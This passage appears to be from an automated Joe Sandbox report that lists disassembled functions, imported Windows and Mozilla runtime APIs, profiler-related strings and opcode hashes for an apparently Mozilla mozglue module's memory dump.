Opcode Fuzzy Hash: c0320c5394bf3e5e6f98964b90da0b139ff3b3fc2422544ff28f3b0fcce4453a
Instruction Fuzzy Hash: A311E372E06A00AECB01DE6989003DEF7B85F12318F258956DC20FBFC0DA71E5849BE1

Function 6C99E550 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C99E577
AcquireSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99E584
ReleaseSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99E5DE
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C99E8A6

Strings

MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C99E826, 6C99E850
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C99E655
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C99E777
MOZ_PROFILER_STARTUP, xrefs: 6C99E5A1, 6C99E5CC, 6C99E5FF, 6C99E62A
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C99E722, 6C99E750, 6C99E7A2

Memory Dump Source

Source File: 00000000.00000002.2806516005.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2806476863.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806636403.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806702334.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806772923.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadXbad_function_call@std@@
String ID: MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL
API String ID: 1483687287-53385798
Opcode ID: cff65f50e53103f362ce9ba93de695206569c6997d784dd6d3388b9ab68587f9
Instruction ID: 8ce947244d5cbc10c64b9c5882184560a2a2ae75396da08a335d8b8f0829866d
Opcode Fuzzy Hash: cff65f50e53103f362ce9ba93de695206569c6997d784dd6d3388b9ab68587f9
Instruction Fuzzy Hash: E211A131608B54DFCB009F15C849B59BBB8FB8932DF254519E94567A50C770F884CBD1

Function 6C9A0C90 Relevance: 6.3, APIs: 5, Instructions: 99stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C9A0CD5

Part of subcall function 6C98F960: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C98F9A7

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C9A0D40
free.MOZGLUE ref: 6C9A0DCB

Part of subcall function 6C975E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C975EDB
Part of subcall function 6C975E90: memset.VCRUNTIME140(6C9B7765,000000E5,55CCCCCC), ref: 6C975F27
Part of subcall function 6C975E90: LeaveCriticalSection.KERNEL32(?), ref: 6C975FB2

free.MOZGLUE ref: 6C9A0DDD
free.MOZGLUE ref: 6C9A0DF2

Memory Dump Source

Source File: 00000000.00000002.2806516005.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2806476863.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806636403.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806702334.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806772923.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: free$CriticalSectionstrlen$EnterImpl@detail@mozilla@@LeaveMutexmemset
String ID:
API String ID: 4069420150-0
Opcode ID: 0d978a4cfd0547df25233c8c2ea475f30d0db58acc2b2a11a62c3ee0755f98d6
Instruction ID: 8b6228db4b23bef3e1e6a4d1db5b717f2f806b281f9c4a3e2c91d2a6705c6c9f
Opcode Fuzzy Hash: 0d978a4cfd0547df25233c8c2ea475f30d0db58acc2b2a11a62c3ee0755f98d6
Instruction Fuzzy Hash: 8A413572A097809BD320CF29C08039EFBE5BF98614F119A2EE8D987B50D770E445CB82

Function 6C990800 Relevance: 6.3, APIs: 5, Instructions: 71COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9DE7DC), ref: 6C990838
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C99084C
EnterCriticalSection.KERNEL32(?), ref: 6C9908AF
LeaveCriticalSection.KERNEL32(?), ref: 6C9908BD
LeaveCriticalSection.KERNEL32(6C9DE7DC), ref: 6C9908D5

Memory Dump Source

Source File: 00000000.00000002.2806516005.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2806476863.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806636403.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806702334.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806772923.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset
String ID:
API String ID: 837921583-0
Opcode ID: 847f76282d066539a08ffb6f0fd6e8202346187db3a98a0fe5eb6cef1808141d
Instruction ID: 5d66724608351e1b8e152e020084574ade333fcedd537deb69491c5a7c919f5d
Opcode Fuzzy Hash: 847f76282d066539a08ffb6f0fd6e8202346187db3a98a0fe5eb6cef1808141d
Instruction Fuzzy Hash: EB21B331B0564A9BEB048F66D844BAEB779AF49708F680568D519B7A40DB32E844CBD0

Function 6C9ACCF0 Relevance: 6.3, APIs: 4, Instructions: 299COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(000000E0,00000000,?,6C99DA31,00100000,?,?,00000000,?), ref: 6C9ACDA4

Part of subcall function 6C96CA10: malloc.MOZGLUE(?), ref: 6C96CA26

Part of subcall function 6C9AD130: InitializeConditionVariable.KERNEL32(00000010,00020000,00000000,00100000,?,6C9ACDBA,00100000,?,00000000,?,6C99DA31,00100000,?,?,00000000,?), ref: 6C9AD158
Part of subcall function 6C9AD130: InitializeConditionVariable.KERNEL32(00000098,?,6C9ACDBA,00100000,?,00000000,?,6C99DA31,00100000,?,?,00000000,?), ref: 6C9AD177

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE(?,?,00000000,?,6C99DA31,00100000,?,?,00000000,?), ref: 6C9ACDC4

Part of subcall function 6C9A7480: ReleaseSRWLockExclusive.KERNEL32(?,6C9B15FC,?,?,?,?,6C9B15FC,?), ref: 6C9A74EB

moz_xmalloc.MOZGLUE(00000014,?,?,?,00000000,?,6C99DA31,00100000,?,?,00000000,?), ref: 6C9ACECC

Part of subcall function 6C96CA10: mozalloc_abort.MOZGLUE(?), ref: 6C96CAA2

Part of subcall function 6C99CB30: floor.API-MS-WIN-CRT-MATH-L1-1-0(?,?,00000000,?,6C9ACEEA,?,?,?,?,00000000,?,6C99DA31,00100000,?,?,00000000), ref: 6C99CB57
Part of subcall function 6C99CB30: _beginthreadex.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,6C99CBE0,00000000,00000000,00000000,?,?,?,?,00000000,?,6C9ACEEA,?,?), ref: 6C99CBAF

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,?,6C99DA31,00100000,?,?,00000000,?), ref: 6C9AD058

Memory Dump Source

Source File: 00000000.00000002.2806516005.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2806476863.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806636403.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806702334.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806772923.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: ConditionInitializeVariablemoz_xmalloc$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedExclusiveLockProfileRelease_beginthreadexfloormallocmozalloc_aborttolower
String ID:
API String ID: 861561044-0
Opcode ID: 21ab459e2694be5d92007f9fc188c5177eff413676b63e37775e5b056bf0d785
Instruction ID: e13b5ba873cb11a38f191cfca532ba899a9c01f1d82dbc39d27802f7eb277510
Opcode Fuzzy Hash: 21ab459e2694be5d92007f9fc188c5177eff413676b63e37775e5b056bf0d785
Instruction Fuzzy Hash: ECD16F71A04B56DFD708CF28C4807A9F7E1BF99308F05862DD8598B751EB31E9A5CB81

Function 6C961720 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6C9617B2
memset.VCRUNTIME140(?,00000000,?,?), ref: 6C9618EE
free.MOZGLUE(?), ref: 6C961911
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C96194C

Memory Dump Source

Source File: 00000000.00000002.2806516005.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2806476863.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806636403.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806702334.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806772923.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturnfreememcpymemset
String ID:
API String ID: 3725304770-0
Opcode ID: 12d6be15841c6c0ece9b719a04f1b84cbad1ca020cf3b534e317b819b391aeff
Instruction ID: e1d8d6752d8c89da296225dcf8104f89744ad6ff8dd53e8bf47747fb72a66d02
Opcode Fuzzy Hash: 12d6be15841c6c0ece9b719a04f1b84cbad1ca020cf3b534e317b819b391aeff
Instruction Fuzzy Hash: A181E770A152059FDB08CF69D8D45BEBBB1FF8A310F04456DE811ABB90D730E854CBA2

Function 6C975C50 Relevance: 6.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 6C975D40
EnterCriticalSection.KERNEL32(6C9DF688), ref: 6C975D67
__aulldiv.LIBCMT ref: 6C975DB4
LeaveCriticalSection.KERNEL32(6C9DF688), ref: 6C975DED

Memory Dump Source

Source File: 00000000.00000002.2806516005.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2806476863.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806636403.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806702334.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806772923.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
Opcode ID: 1848d507069d5ab967d3f2ef7fb882371dae29ac8d10ad724a742759ff74307b
Instruction ID: 1f87f39f8e3ef7c84aa57ec3eef4dbb2e3f64417e9166057b9da5a500d700b55
Opcode Fuzzy Hash: 1848d507069d5ab967d3f2ef7fb882371dae29ac8d10ad724a742759ff74307b
Instruction Fuzzy Hash: 77518D71E055198FCF08CF68C955BAEBBB1FB89308F298619D811B7B50C730B985CB90

Function 6C95CDF0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,-000000EA,?,?,?,?,?,?,?,?,?,?,?), ref: 6C95CEBD
memcpy.VCRUNTIME140(?,?,?,?,?,?,?), ref: 6C95CEF5
memset.VCRUNTIME140(-000000E5,00000030,?,?,?,?,?,?,?,?), ref: 6C95CF4E

Strings

0, xrefs: 6C95CF30

Memory Dump Source

Source File: 00000000.00000002.2806516005.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2806476863.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806636403.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806702334.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806772923.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: memcpy$memset
String ID: 0
API String ID: 438689982-4108050209
Opcode ID: 0e851ffa705033111940aa1c33e4e3d91d700d23ea7ee9f0b9783dfe3b6a0d03
Instruction ID: dc4f0ea235c2803fa0aad74319c0a12519226d35278ffde2eabba60f27fc35f0
Opcode Fuzzy Hash: 0e851ffa705033111940aa1c33e4e3d91d700d23ea7ee9f0b9783dfe3b6a0d03
Instruction Fuzzy Hash: CE510375A042568FCB00CF18C890A9ABBB5EF99300F19859DDC595F751D731ED16CBE0

Function 6C9B77D0 Relevance: 6.1, APIs: 4, Instructions: 113stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9B77FA
?StringToDouble@StringToDoubleConverter@double_conversion@@QBENPBDHPAH@Z.MOZGLUE(00000001,00000000,?), ref: 6C9B7829

Part of subcall function 6C98CC38: GetCurrentProcess.KERNEL32(?,?,?,?,6C9531A7), ref: 6C98CC45
Part of subcall function 6C98CC38: TerminateProcess.KERNEL32(00000000,00000003,?,?,?,?,6C9531A7), ref: 6C98CC4E

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C9B789F
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C9B78CF

Part of subcall function 6C954DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C954E5A
Part of subcall function 6C954DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C954E97

Part of subcall function 6C954290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C993EBD,6C993EBD,00000000), ref: 6C9542A9

Memory Dump Source

Source File: 00000000.00000002.2806516005.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2806476863.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806636403.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806702334.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806772923.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$DtoaProcessstrlen$Ascii@Builder@2@Builder@2@@Converter@CreateCurrentDecimalDouble@EcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestTerminateV12@
String ID:
API String ID: 2525797420-0
Opcode ID: caf3e7704822f2addaf2677514d346225285f95a206d5c06274acda0d33bd75b
Instruction ID: f052142582ff73968bc6d3a7b89b9dc90c6ff24a43dcf738ae1e8fc1bf822f00
Opcode Fuzzy Hash: caf3e7704822f2addaf2677514d346225285f95a206d5c06274acda0d33bd75b
Instruction Fuzzy Hash: 2241A171904B469BD300DF29C48056BFBF4FF9A254F604B2EE4A997680DB30E559CB92

Function 6C996470 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000200,?,?,?,?,?,?,?,?,?,?,?,?,6C9982BC,?,?), ref: 6C99649B

Part of subcall function 6C96CA10: malloc.MOZGLUE(?), ref: 6C96CA26

memset.VCRUNTIME140(00000000,00000000,00000200,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9964A9

Part of subcall function 6C98FA80: GetCurrentThreadId.KERNEL32 ref: 6C98FA8D
Part of subcall function 6C98FA80: AcquireSRWLockExclusive.KERNEL32(6C9DF448), ref: 6C98FA99

ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C99653F
free.MOZGLUE(?), ref: 6C99655A

Memory Dump Source

Source File: 00000000.00000002.2806516005.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2806476863.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806636403.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806702334.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806772923.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfreemallocmemsetmoz_xmalloc
String ID:
API String ID: 3596744550-0
Opcode ID: 78b174288c16fb3899ff68a040e3794a56d5920168d6b753a99ca4954e498543
Instruction ID: 5d1ed47b612aaa19d3445733a6fce65672bf1dbe08f0c3282fef5dc97e92502d
Opcode Fuzzy Hash: 78b174288c16fb3899ff68a040e3794a56d5920168d6b753a99ca4954e498543
Instruction Fuzzy Hash: 8B317EB5A08705AFD740CF14D880A9ABBF4BFA8314F10482EE85A97740DB30E919CB92

Function 6C98FF60 Relevance: 6.1, APIs: 4, Instructions: 83COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,80000001,80000000,?,6C9AD019,?,?,?,?,?,00000000,?,6C99DA31,00100000,?), ref: 6C98FFD3
memcpy.VCRUNTIME140(00000000,?,?,?,6C9AD019,?,?,?,?,?,00000000,?,6C99DA31,00100000,?,?), ref: 6C98FFF5
free.MOZGLUE(?,?,?,?,?,6C9AD019,?,?,?,?,?,00000000,?,6C99DA31,00100000,?), ref: 6C99001B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,6C9AD019,?,?,?,?,?,00000000,?,6C99DA31,00100000,?,?), ref: 6C99002A

Memory Dump Source

Source File: 00000000.00000002.2806516005.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2806476863.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806636403.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806702334.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806772923.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: memcpy$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 826125452-0
Opcode ID: d1e9a6697ef0f8e2fdef3903f4ecd0da94cf41952a868af1e85a09b52c30ccae
Instruction ID: f4e5e0f5c16f909b7cb312d189a806363e8cca5c1bbd63e2f55b1bae78501e82
Opcode Fuzzy Hash: d1e9a6697ef0f8e2fdef3903f4ecd0da94cf41952a868af1e85a09b52c30ccae
Instruction Fuzzy Hash: 092108B2B002155BC7089E7C9C948AFB7BAFB993283250738D425D7780EB30DD1186E1

Function 6C96B4E0 Relevance: 6.1, APIs: 4, Instructions: 54threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C96B4F5
AcquireSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C96B502
ReleaseSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C96B542
free.MOZGLUE(?), ref: 6C96B578

Memory Dump Source

Source File: 00000000.00000002.2806516005.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2806476863.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806636403.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806702334.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806772923.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: 413b91b72791cdf31f6e5a20aea3889f753af2122a8e2120a1d9d3bf3532e05d
Instruction ID: 0894c2c953dea2b7385df97e14bc304ed39d16faa6129f7da71c1011abd265c9
Opcode Fuzzy Hash: 413b91b72791cdf31f6e5a20aea3889f753af2122a8e2120a1d9d3bf3532e05d
Instruction Fuzzy Hash: 36118C31A08F45C7E7218F2AC8047A5B3B5FFA6319F24970AE84963E01FBB1F1C59691

Function 6C993DE0 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,6C95F20E,?), ref: 6C993DF5
fputs.API-MS-WIN-CRT-STDIO-L1-1-0(6C95F20E,00000000,?), ref: 6C993DFC
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C993E06
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,00000000), ref: 6C993E0E

Part of subcall function 6C98CC00: GetCurrentProcess.KERNEL32(?,?,6C9531A7), ref: 6C98CC0D
Part of subcall function 6C98CC00: TerminateProcess.KERNEL32(00000000,00000003,?,?,6C9531A7), ref: 6C98CC16

Memory Dump Source

Source File: 00000000.00000002.2806516005.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2806476863.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806636403.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806702334.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806772923.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Process__acrt_iob_func$CurrentTerminatefputcfputs
String ID:
API String ID: 2787204188-0
Opcode ID: 1780f16c9e4972a978fc2bac2f17faf98be9e3e029178694cfe04844e1628a54
Instruction ID: 82f8c848c077912729aa79f4c00a0283270150cdbdaa2a7c1ece37f49bf143a2
Opcode Fuzzy Hash: 1780f16c9e4972a978fc2bac2f17faf98be9e3e029178694cfe04844e1628a54
Instruction Fuzzy Hash: 57F012716002087BDB00AB54DC81DAB376DEF56628F140420FD0957741D635FE6596F7

Function 6C9A20B0 Relevance: 6.0, APIs: 4, Instructions: 28threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C9A20B7
AcquireSRWLockExclusive.KERNEL32(00000000,?,6C98FBD1), ref: 6C9A20C0
ReleaseSRWLockExclusive.KERNEL32(00000000,?,6C98FBD1), ref: 6C9A20DA
free.MOZGLUE(00000000,?,6C98FBD1), ref: 6C9A20F1

Memory Dump Source

Source File: 00000000.00000002.2806516005.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2806476863.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806636403.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806702334.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806772923.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: 98e032636ff37c3595b6f6039d7dce6c37bc0714a5563ed82be1aebd06bb9ba7
Instruction ID: dffe14cf7f10b13ba22c6fcd429b6cdec438255aa13afdc113a47be198ebd7f5
Opcode Fuzzy Hash: 98e032636ff37c3595b6f6039d7dce6c37bc0714a5563ed82be1aebd06bb9ba7
Instruction Fuzzy Hash: 43E0E531608E259BC3209F26980854EB7F9EF96218B20022AE50AD3B00DB75F58686E6

Function 6C9A85B0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000028,?,?,?), ref: 6C9A85D3

Part of subcall function 6C96CA10: malloc.MOZGLUE(?), ref: 6C96CA26

?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,?), ref: 6C9A8725

Strings

map/set<T> too long, xrefs: 6C9A8720

Memory Dump Source

Source File: 00000000.00000002.2806516005.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2806476863.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806636403.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806702334.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806772923.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Xlength_error@std@@mallocmoz_xmalloc
String ID: map/set<T> too long
API String ID: 3720097785-1285458680
Opcode ID: d388070a54c6fb628f315dcb6579e435a8d66e584e0028e601dd40f85569fcc6
Instruction ID: 78abb823d426034734ac82ea2d71a2a9e40651a0948d6a7529e1d0d1c1036994
Opcode Fuzzy Hash: d388070a54c6fb628f315dcb6579e435a8d66e584e0028e601dd40f85569fcc6
Instruction Fuzzy Hash: 3F518774A00685CFE709CF58C084B65BBF1BF59318F19C19AD8595BB62C334E846CF96

Function 6C95BD40 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(00000000,?,?,?,?), ref: 6C95BDEB
?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C95BE8F

Strings

0, xrefs: 6C95BE5B

Memory Dump Source

Source File: 00000000.00000002.2806516005.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2806476863.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806636403.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806702334.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806772923.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@Double$CreateDecimalHandleRepresentation@SpecialValues@
String ID: 0
API String ID: 2811501404-4108050209
Opcode ID: 3bb851d4a24a3c94b1b57a50d7ada213a41af0139628a2820582b090ee4dd058
Instruction ID: 224e669c214a6a55e36c1d0313d10456ede9b70068a574a7b6ec19c97907299e
Opcode Fuzzy Hash: 3bb851d4a24a3c94b1b57a50d7ada213a41af0139628a2820582b090ee4dd058
Instruction Fuzzy Hash: 1A41A271A09749CFC701CF38C481A9BB7F4AF9A348F448A1DF985A7611D731E969CB82

Function 6C993CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C993D19
mozalloc_abort.MOZGLUE(?), ref: 6C993D6C

Strings

d, xrefs: 6C993D58

Memory Dump Source

